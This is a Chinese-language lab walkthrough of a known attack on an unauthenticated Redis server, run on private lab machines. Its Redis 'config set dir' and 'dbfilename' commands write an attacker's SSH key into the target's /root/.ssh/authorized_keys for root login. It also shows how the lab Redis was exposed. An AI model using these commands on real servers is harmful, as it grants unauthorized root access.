Redis未授权访问实现SSH免密登录
1. 环境简介
1.1 物理环境
攻击主机(kali linux)
靶机(CentOS 7)
1.2 网络环境
Kali:192.168.32.128
CentOS:192.168.32.129
1.3 工具
Kali:Redis+SSH
CentOS:Redis(root权限)+SSH
1.4 流程
攻击机kali远程连接靶机Redis数据库
攻击机SSH生成公钥私钥
通过Redis将公钥写入靶机的SSH路径下
攻击机SSH连接成功
2. 攻击过程
2.1 通过未授权访问连接至靶机Redis
redis-cli -h 192.168.32.129
2.2 攻击机生成SSH公钥
生成公钥私钥
ssh-keygen -t rsa
一路回车
查看公钥内容
编辑公钥内容为Redis指令
2.3 攻击机操作靶机Redis
指定目录
config set dir /root/.ssh
指定文件名
config set dbfilename authorized_keys
设置公钥内容
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+DUob5niJ3mvoDW2raDBKXcbaqYZISbWHfLeGYYUX9R3VnsS5phma/7FHmm6MQWi5a6sjPSQCdcquaEmCuzfRnWdzV5e3s0rl3/NuQt4LgJcH38dpKsrg6FMRc0y6d4dRYZ1TzwJ+U8HOne5DplbwuXH7/9ZjNrTfcSp2LR4DB+8OmW6F0+f2QHNL0xftDn+FYJmLgSBVyYch6itF9fmEMMHxuoYvkxdnFZd2nmydykVQtpbvMXf2TVTPn0NAzzubT6wbaoTzzPswgfTrEijIyBCAicJGJMo6kINb+7BsGh1o7Ehdf721sJJCkXuVJJdfF+ZCaUvHPkOa7KjpWm+FkQtxif96prhRulZhZe3XNXUkIiy/KMUKrSTJC1b15TgVN/92IrkogugSUmf6yncEiT65azUzV40XQzYhpT0OZBQk1gMvXAbnU2eZ7w22o2pF8Qpn9jYR+zM4uZX90J9p5yCxWHCOJSyxHddVzM6hxbot0IAoVnsk8e3ukZ2E/LE= root@kali\n\n\n"
保存
save
2.4 SSH连接成功
首次连接ssh
写入公钥后再次连接SSH
3 踩坑
3.1 Redis开启远程连接
Redis安装好后需要开启远程连接,修改redis.conf文件
第一个框内容需要注释掉,第二个框需要将yes改为no
修改后重启Redis,加载指定conf文件
./redis-server /root/redis-6.0.9/redis.conf
防火墙开6379
开启6379端口
firewall-cmd --zone=public --add-port=6379/tcp --permanent
重启firewall
firewall-cmd --reload
查看状态
firewall-cmd --query-port=6379/tcp
3.2 路径/root/.ssh不存在
靶机开启ssh
systemctl start sshd
路径/root/.ssh不存在
这时需要本机连一下自己的ssh,就会有路径了